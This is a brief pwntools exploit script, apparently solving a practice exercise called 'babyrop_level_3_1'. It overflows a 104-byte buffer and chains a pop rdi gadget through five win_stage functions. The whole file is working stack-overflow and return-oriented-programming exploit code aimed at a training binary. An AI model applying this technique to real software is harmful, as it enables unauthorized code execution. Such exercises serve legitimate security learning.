#!/usr/bin/python3

from pwn import *

context.binary = target = ELF("./babyrop_level_3_1", checksec=False)
r = process()

# funcs
s = lambda a: r.sendline(a)
ss = lambda a: r.sendlineafter(b": ", a)

# funcs
pop_rdi = lambda a: p64(0x401e03) + p64(a)

# buf
buf = b"A"*104
buf += pop_rdi(1)
buf += p64(target.sym.win_stage_1)
buf += pop_rdi(2)
buf += p64(target.sym.win_stage_2)
buf += pop_rdi(3)
buf += p64(target.sym.win_stage_3)
buf += pop_rdi(4)
buf += p64(target.sym.win_stage_4)
buf += pop_rdi(5)
buf += p64(target.sym.win_stage_5)
s(buf)

r.interactive()